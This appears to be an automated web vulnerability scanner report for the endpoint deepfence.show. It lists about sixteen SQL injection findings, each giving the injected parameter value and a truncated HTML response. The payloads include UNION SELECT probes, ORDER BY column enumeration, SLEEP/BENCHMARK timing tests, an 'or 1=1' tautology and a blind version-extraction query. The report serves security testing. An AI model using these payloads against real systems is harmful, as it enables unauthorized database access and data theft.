z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1150
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# %
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#CWE-ID CWE-89
Issue Number #1151
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# '
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1152
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),
4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1153
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# +benchmark(3200,SHA1(1))+'
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1154
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1
#UNION ALL SELECT 'INJ'||'ECT'||'XXX',
2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30
--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title>
DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script language=
"javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER__"; </
script> <!-- Start of Zendesk Widget script --> <!-- <script id="ze-snippet"
src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-9a0a-4c32-aed4-
bfb86b515320"> </script> --> <!-- End of Zendesk Widget script --> <!-- 
Bootstrap CSS --> <link rel="shortcut icon" type="image/png" href="data:
image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJ
bWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCgAQ
IoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary 
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1155
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# +
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1156
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ,
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1157
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1158
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 21
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1159Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# /
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1160
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 13#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1161
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# admin' or '1'='1
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1162
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified Name ValueParameters DemoUser1# and (select substring(@@version,3,1))='S'
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1163
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 22--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89Issue Number #1164
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),
4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1165
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ;
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
